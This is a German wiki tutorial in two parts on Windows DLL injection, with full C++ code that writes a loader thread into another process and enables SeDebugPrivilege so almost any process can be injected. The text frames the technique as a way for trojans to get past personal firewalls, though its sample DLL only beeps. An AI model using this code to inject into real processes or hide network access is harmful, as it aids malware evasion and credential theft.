DLL-Injection
DLL-Injection ist eine Technik, mit der ein fremder Prozess Code in einen anderen Prozess einschleusen und ausführen kann.
Inhaltsverzeichnis |
Anwendungsbeispiel
DLL-Injection findet häufig in Viren/Trojanern oder Malware-Programmen Verwendung, die einen Internetzugriff vor einer Desktopfirewall verschleiern wollen. Dazu injizieren sie den Code (z.B. eine Routine, um Passwörter zu versenden) in einen Prozess, der von der Firewall akzeptiert wird (z.B. den Internet Explorer) und führen ihn aus. Die Firewallsoftware kann nicht erkennen, dass die bereits erlaubte Verbindung infiltriert wurde. Allerdings versuchen einige Desktopfirewalls, durch eine Analyse des Systems, eine DLL-Injection zu erkennen, was ihnen jedoch nicht immer gelingt.
DLL-Injection für Prozesse, die man selbst erstellt hat – ein Tutorial für den Einstieg
Voraussetzungen
Man sollte C++ grundlegend beherrschen, und man sollte schon einmal mit der WINAPI einen Thread gestartet und eine DLL dynamisch geladen haben. Wem das bereits gelungen ist, dem wird der Rest kaum schwerer vorkommen. Ansonsten braucht Ihr einen C-Compiler, der reinen Assemblercode produziert und vielleicht noch die MSDN oder eine win32.hlp (siehe Google).
Die Theorie
DLL-Injection ist eine Technik, mit der man Code im Kontext eines fremden Prozesses ausführen kann. Benutzt wird dies häufig von Trojanern, um unbemerkt Daten ins Netz senden zu können, ohne von einer Personal Firewall behindert zu werden.
Dazu wird Code in den Speicherbereich eines fremden Prozesses geschrieben und anschließend ausgeführt. Unsere Anwendung kann nun geschlossen werden. Der eingeschleuste Code lädt nun selbständig unsere DLL in den fremden Adressraum und führt die angegebene Funktion aus. Die Funktion läuft nun im Kontext des fremden Prozesses weiter und versucht eine Verbindung herzustellen. Viele Personal Firewalls können hierbei nicht unterscheiden, ob die Anwendung selbst oder ein Thread, der von einer anderen Anwendung erstellt wurde, auf das Netzwerk zugreifen möchte.
Die Praxis
Nochmal an dieser Stelle: Der nachfolgende Code muss als C++ Code und bloß nicht als .NET Code kompiliert werden, sonst gibt es lustige Programmabstürze. Das heißt die VC7 Benutzer müssen kurzzeitig z.B. auf DevC++ umsteigen.
Los geht es erst einmal mit den Headerdateien:
#include <windows.h> #include <cstdio>
Jetzt folgen Funktionszeiger auf die API Funktionen LoadLibrary(), GetProcAddress() und eine void Funktion(void), die wir später in unserer DLL aufrufen wollen.
typedef HINSTANCE (__stdcall *fpLoadLibrary)(char*); typedef LPVOID (__stdcall *fpGetProcAddress)(HINSTANCE, char*); typedef void (*fpFunktion)(void);
Da der eingeschleuste Code in seiner Funktionalität sehr sehr eingeschränkt ist, braucht er später auch noch ein paar Informationen, die er zum Laufen benötigt. Das erste Element ist ein Zeiger auf die Funktion LoadLibrary(), das zweite ist ein Zeiger auf die Funktion GetProcAddress, anschließend ein Array mit dem Pfad unserer DLL und ein Array mit dem Namen der Funktion, die wir aufrufen wollen. Genaueres zu den Funktionen gibt es später.
struct INJECTSTRUCT
{
fpLoadLibrary LoadLibrary;
fpGetProcAddress GetProcAddress;
char path[255];
char func[255];
};
Fangen wir mit dem schwierigsten Teil an: der Code, der später in den Prozess injiziert wird. Augen auf, jetzt wird es kompliziert. Ich werde einmal ein bisschen in die Welt des Assemblers einsteigen. Der Compiler übersetzt euren C-Code in Maschinencode (=Assembler). Wenn ihr eine Funktion aufruft, dann übersetzt der Compiler das ungefähr so wie im linken Bild. Die Funktion hat eine bestimmte Adresse (hier die 4) und der Compiler übersetzt das Ganze dann als "Spring (=CALL) zu Adresse 4". Diese Adressen sind absolut, eleganter ausgedrückt "hardgecoded", da sie zur Laufzeit nicht verändert werden. Nehmen wir einmal an, wir laden den Code im fremden Prozess an Offset 7. Da die Adresse der Funktion wie gesagt hardgecoded ist, steht noch immer im Assemblercode "Spring zu Adresse 4". Freundlich wie die CPU ist, macht sie das dann auch, allerdings endet das ganze in einem Speicherzugriffsfehler, da die Wahrscheinlichkeit, dass hier an Offset 4 ein sinnvoller Befehl steht ziemlich gering ist. Array-Adressen werden übrigens auch hardgecoded.
Jetzt kommen die Funktionszeiger ins Spiel. Zeiger sind Variablen und Variablen werden in C auf dem Stack gespeichert, also relativ. Das freut uns natürlich, denn wir können ja unserem Code Zeiger auf die Funktionen LoadLibrary und GetProcAddress mitgeben und dieser kann damit alle Funktionen laden, die er braucht. Aber jetzt erst einmal den Code. Nicht gleich verzweifeln, ich versuche alles möglichst genau zu erklären:
DWORD WINAPI threadstart(LPVOID addr)
{
HINSTANCE hDll;
fpFunktion funktion;
INJECTSTRUCT * is = (INJECTSTRUCT*)addr;
hDll = is->LoadLibrary(is->path);
funktion = (fpFunktion)is->GetProcAddress(hDll, is->func);
funktion();
return 0;
}
void threadend()
{
}
Klein aber fein. Wer schon mal einen Thread erstellt hat, kennt das Funktionsgerüst. Man kann einem Thread genau einen Zeiger als Übergabeparameter mitgeben. Wir machen das später auch, und zwar übergeben wir dem Thread einen Zeiger auf eine INJECTSTRUCT, die wir vorhin definiert haben. Wer nicht mehr weiß, was die einzelnen Elemente bedeuten, der schaut oben halt noch mal nach. Zeile 1 und 2 versteht jeder: Wir legen zwei Variablen an. Zeile 3 wandelt den LPVOID Parameter in einen Zeiger auf eine INJECTSTRUCT um. In Zeile 4 laden wir mit der Funktion LoadLibrary die DLL, die in der INJECTSTRUCT in path beschrieben ist. GetProcAddress in Zeile 5 liefert die Einsprungadresse auf die Funktion, die in der STRUCT mit angegeben ist. In Zeile 6 wird unsere Funktion dann aufgerufen. In Zeile 7 wird der Thread beendet. Die Funktion threadend() benötigen wir später, um die Größe der threadstart() Funktion zu berechnen. Das wärs auch schon. Ich hoffe der eine oder andere kommt mit...
Kommen wir nun zur main()
int main()
{
HANDLE hProc;
LPVOID start, thread;
DWORD funcsize, written;
HINSTANCE hDll;
INJECTSTRUCT is;
DWORD id;
Erstmal legen wir die benötigten Variablen an. hProc ist ein Handle auf den Prozess in den wir den Code injizieren wollen. start und thread sind Zeiger auf Speicherbereiche im Adressraum des fremden Prozesses. funcsize wird zur Berechnung der Größe unseres Threads benutzt. hDll wird ein Handle auf die Kernel32-DLL, is ist ein INJECTSTRUCT von dem wir ja schon gehört haben und id ist eine Variable in der wir die Prozess ID speichern.
Jetzt ist es an der Zeit, unsere INJECTSTRUCT mit sinnvollen Werten zu füllen.
hDll = LoadLibrary("KERNEL32");
is.LoadLibrary = (fpLoadLibrary)GetProcAddress(hDll, "LoadLibraryA");
is.GetProcAddress = (fpGetProcAddress)GetProcAddress(hDll, "GetProcAddress");
strcpy(is.path, "C:\\DLL.dll");
strcpy(is.func, "Funktion");
(1) Wir holen uns ein Handle auf die Kernel32 Dll. (2) Wir lesen die Einsprungsadresse der Funktion LoadLibrary aus und speichern diese dann in der INJECTSTRUCT. (3) Hier machen wir das gleiche, nur mit der Funktion GetProcAddress. (4) Hier kopieren wir den Pfad unserer DLL auch in die Variable is. (5) Den Namen unserer Funktion brauchen wir später auch, also rein damit.
Jetzt berechnen wir die Größe, die unsere Funktion im RAM einnehmen wird. Dazu subtrahieren wir einfach das Offset vom Thread vom Offset der Funktion threadend():
funcsize = (DWORD)threadend-(DWORD)threadstart;
Nun brauchen wir die Prozess ID des Prozesses, in den wir injecten wollen. Die suchen wir uns über den Taskmanager raus. Ihr geht im Taskmanager auf Ansicht->Spalten und wählt dort PID aus. Führt Notepad oder Paint oder sonst ein Programm aus und sucht euch die PID raus und merkt sie euch oder schreibt sie auf. Um das Ganze in unser Programm eingeben zu können, machen wir ein einfaches scanf():
printf("ID: ");
scanf("%d", &id);
Alternativ können wir die Prozess ID auch automatisch über den Fensternamen ermitteln lassen:
HWND hwnd = FindWindow(NULL, "Unbenannt - Paint"); GetWindowThreadProcessId(hwnd, &id);
Jezt können wir auch schon dem Prozess an den Speicherbereich. Wir holen uns ein Handle und geben den Wert des Handles aus Testzwecken zurück. Sollte das Handle 0 sein, ist wohl ein Fehler passiert und wir sollten das Programm abbrechen. Fehlerabfangen hab ich aber keinen Bock und es würde auch viel zu unübersichtlich werden, also lassen wir es ausnahmsweise mal. Hier der Code:
hProc = OpenProcess(PROCESS_ALL_ACCESS, false, id);
printf("Prozess Handle: %x\n", hProc);
Als nächstes fordern wir ein bisschen Speicherplatz im Speicherbereich des Prozesses an, in den wir dann unseren Code und die INJECTSTRUCT reinschreiben. Die Startadresse bekommt die Variable start. Zum Testen geben wir dann das Offset aus:
start = VirtualAllocEx(hProc, 0, funcsize+sizeof(INJECTSTRUCT), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("Memory: %x\n", start);
Die Übergabeparameter (links nach rechts): (1) Handle auf den Prozess, in dessen Speicherbereich wir ein Stück RAM wollen. (2) Die Adresse an der wir den Speicher gern haben möchten. Ist uns aber relativ egal, hauptsache irgendwo (3) Wieviel Speicher wir brauchen. Wir brauchen Speicher für den Thread und für die INJECTSTRUCT (4) MEM_COMMIT bedeutet dass wir Speicher wollen, den wir auch benutzen können, sprich physikalischen RAM oder virtuellen RAM in der Auslagerungsdatei (5) Wir wollen RWX Rechte auf unseren Speicher (Read/Write/Execute), denn wir wollen ihn ja auch ausführen.
Nun wollen die INFECTSTRUCT und den Code in den Speicher schreiben. Das ganze soll wie im Bild dargestellt aussehen.
Wir schreiben also erst die Struct und dann erst den Code. Ihr könnts auch anderst herum machen, aber das ich das Tut schreibe, bestimme ich. Als erstes kommt die Struct:
WriteProcessMemory(hProc, start, (LPVOID)&is, sizeof(INJECTSTRUCT), NULL);
Die Parameter wieder mal von links nach rechts: (1) Der Prozess in den wir schreiben (2) An welche Adresse wir schreiben. Natürlich an die Adresse an der wir den Speicher angelegt haben. (3) Die Daten die wir hinschreiben wollen. Wir wollen natürlich die INJECTSTRUCT hinschreiben also geben wir die Adresse von is an. (4) Wieviel Daten wir schreiben. Natürlich genauso viel wie die Größe der INJECTSTRUCT (5) Brauchen wir nicht unbedingt.
Jetzt müssen wir berechnen an welcher Stelle wir den Code hinschreiben müssen:
thread = (LPVOID)((DWORD)start+sizeof(INJECTSTRUCT));
Schaut euch die Zeile genau an, das meiste ist nur rumgecaste dass der Compiler nicht meckert. Wir Addieren einfach die Größe der STRUCT auf die Startaddresse und schon haben wir die Adresse an der der Code hin muss.
Jetzt schreiben wir auch noch den Code dazu. Die Funktion ist ja jetzt bekannt:
WriteProcessMemory(hProc, thread, (LPVOID)threadstart, funcsize, NULL);
So jetzt nur noch den Thread starten...
CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE)thread, start, 0, 0);
Parameter von links nach rechts:
(1) Der Parameter sollte jetzt langsam jedem bekannt vorkommen. Unser Prozess halt. (2) Brauchen wir nicht. (3) Brauchen wir auch nicht. (4) Unser Einsprungspunkt. Müssen wir natürlich wieder casten für den Compiler (5) Unser übergabeparamet. Start zeigt (wer hat aufgepasst?) auf den Anfang des Speicherbereichs und was befindet sich da? Richtig! Unsere INJECTSTRUCT. (6+7) Unwichtig.
Jetzt noch schön sauber das Handle schließen und dann können wir beenden.
CloseHandle(hProc); return 0; }
Die DLL
Jetzt noch die DLL die aufgerufen wird (Sie muss später im Pfad C:\Dll.dll liegen).
#include <windows.h>
extern "C" void __declspec(dllexport) Funktion()
{
Beep(1000, 1000);
}
BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved)
{
return TRUE;
}
Wirklich ganz simpel ich glaub da muss ich nichts dazu erklären. Was macht die DLL? Hmm. Piep.
Nachwort
So das war Teil 1. Wenn ihr fleißig ausprobiert werden ihr merken dass man nicht in alle Prozesse injecten kann. Wie das geht, zeigt euch Teil 2.
DLL Injection in fremden Prozessen – ein Tutorial für Fortgeschrittene
Vorwort
Im ersten Teil gings ja darum, eine DLL in einen fremden Prozess zu injecten. Fleißige Coder haben wahrscheinlich rausgefunden, dass man nicht in alle Prozesse injecten kann, sondern nur in Prozesse, die man selbst auch erstellt hat. Das ist natürlich kacke und deswegen zeig ich heute, wies geht. Eine Einschränkung gibts allerdings doch. Unser Prozess muss als Admin gestartet werden, sonst bringt das ganze Tut heute nix. Also los gehts.
Theorie
Jeder Prozess in Windows NT hat bestimmte Privilegien, was er alles darf und was nicht. Standardmäßig darf ein Prozess nicht in alle anderen Prozesse Code injizieren, was ja auch scheiße wär. Er hat nicht das Privileg dazu. Um das zu dürfen, müssen wir ein bestimmtes Privileg setzten, das sogenannte "DebugPrivilege" Privileg. Warum das DebugPrivilege heißt? Normalerweise wird dieses Privileg dazu benutzt, dass Debugger den Assemblercode zur Laufzeit auslesen und gegebenfalls auch verändern. Wir wollen ja auch im Speicher des Prozesses rumpfuschen, also brauchen wir das Privileg auch. Wies geht, siehe Praxis.
Praxisteil
Dieser Teil des Tutorials soll eine Erweiterung des 1.Teils sein, deswegen schreiben wir jetzt eine Funktion die uns dieses Privileg gibt, und die wir ganz einfach in unser erstes Projekt einbinden können. Was braucht man für eine Funktion? Einen Kopf:
bool EnableDebugPrivilege()
{
TOKEN_PRIVILEGES priv;
HANDLE hThis, hToken;
LUID luid;
Warum die Funktion so heißt, sollte klar sein, darum gleich zu den Variablen. Ein Prozess hat ein sogenanntes Token. So ein Token wird bei der Anmeldung erstellt und jeder Prozess bekommt eine Kopie von dem Token. In dem Token steht drin was der User und somit ja auch der Prozess alles darf, unter anderem auch die Privilegien die wir brauchen. Ein Privileg speichern wir in der Variable priv. Ansonsten brauchen wir noch ein Handle auf den Prozess den wir gerade ausführen, also unseren und ein Handle auf das oben angesprochene Token. Dann gibts einen sogenannte luid (Locally Unique Identifier). Das ist ne Variable die auf dem System nur einmal vorkommt. Ich weiß nicht was so ein Luid noch alles macht, aber in unserem Fall steht es für ein Privileg. Privilegien werden nicht über ihren Namen verändert sondern über so einen Luid.
So. Als erstes holen wir uns ein Handle auf unseren Prozess.
hThis = GetCurrentProcess();
Nun können wir das Token des Prozesses öffnen
OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
Die Übergabeparameter der Funktion: (1) Wir wollen das Token von diesem Prozess (2) Wir wollen die Privilegien anpassen (=Adjust) (3) Das Handle hätten wir gerne in hToken
So, jetzt haben wir ein Handle auf unseren Token in dem sich die Privilegien befinden. Eigentlich könnten wir jetzt unser Privileg setzten, aber wir haben ja noch keinen gültigen Luid. Also holen wir uns den, den wir brauchen:
LookupPrivilegeValue(0, "seDebugPrivilege", &luid);
Wieder mal die Übergabeparameter: (1) Wir wollen den Luid auf unserem System, also 0 (2) Wir wollen den Luid des Debug-Privileg (3) Den Wert hätten wir gern in die Variable luid
Jetzt können wir auch schon unser Privileg setzten. Das ganze machen wir in der Variable priv, die wir oben angelegt haben.
priv.PrivilegeCount = 1; priv.Privileges[0].Luid = luid; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Also, wir möchten 1 Privileg setzten. Privileges ist dann das Array aus Privilegien. Von dem nehmen wir nur das erste (Index 0). Als Luid setzten wir unseren Luid, als Attribut SE_PRIVILEGE_ENABLED, da wir das Privileg ja aktivieren wollen. Um den Vorgang abzuschließen, müssen wir noch eine Funktion aufrufen:
AdjustTokenPrivileges(hToken, false, &priv, 0, 0, 0);
Die Parameter: (1) Wir setzten die Privilegien in unserem Token (2) Wir wollen NICHT alle anderen zurücksetzten (3) Die Privilegien stehen hier in dieser Struktur (4-6) Was davor war interessiert keinen, also null.
Jetzt nur noch sauber die Handles schließen und Klammer zu.
CloseHandle(hToken); CloseHandle(hThis); return true; }
Wenn ihr die Funktion nun in den ersten Teil dieses Tutorials integriert und am Anfang ausführt, könnt ihr in ziemlich alle Prozesse injecten. Viel Spaß damit. Ach ja. Ich hab mal wieder zwecks Übersichtlichkeit die ganzen Fehlerabfragen rausgeschnitten, deswegen auch der Rückgabewert bool, ob die Funktion geklappt hat oder nicht. Ihr könnt ja ein bisschen basteln.
Testumgebung Um zu sehen, welche gravierenden Auswirkungen dieses kleine große Privileg hat, könnt ihr folgendes Programm verwenden. Als erstes kompiliert ihr es ohne die obige Funktion, danach ruft ihr obige Funktion gleich als erste Anweisung auf.
#include <windows.h>
#include <tlhelp32.h>
#include <cstdio>
int main()
{
HANDLE hSnap, hTemp;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
//EnableDebugPrivilege();
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(Process32First(hSnap, &pe))
{
do
{
hTemp = OpenProcess(PROCESS_ALL_ACCESS, 0, pe.th32ProcessID);
if(hTemp)
{
printf("%4d\t%s\n", pe.th32ProcessID, pe.szExeFile);
CloseHandle(hTemp);
}
}
while(Process32Next(hSnap, &pe));
}
}
Das Programm listet euch alle Prozesse auf, auf die ihr Vollzugriff habt. Es erstellt einen Snapshot aller Prozesse und testet jeden durch, ob er sich mit dem Flag PROCESS_ALL_ACCESS öffnen lässt. Ist dies der Fall, lässt er zu 90% zu, Code in seinen Adressraum zu injecten und Auszuführen. Viel Spaß beim Ausprobiern.
Quellen zum Tutorial
- Dieser Text wurde in seiner ursprünglichen Form mit freundlicher Genehmigung von v01d, dem Autor des Tutorials in unser Wiki übernommen. Eine Überarbeitung und Erweiterung des Textes durch andere Autoren ist ausdrücklich erwünscht.
- Security Guide *DEAD LINK*
- Sourcecode wurde von Christof Walther überarbeitet.
siehe auch
WebLinks (externe Links)
|


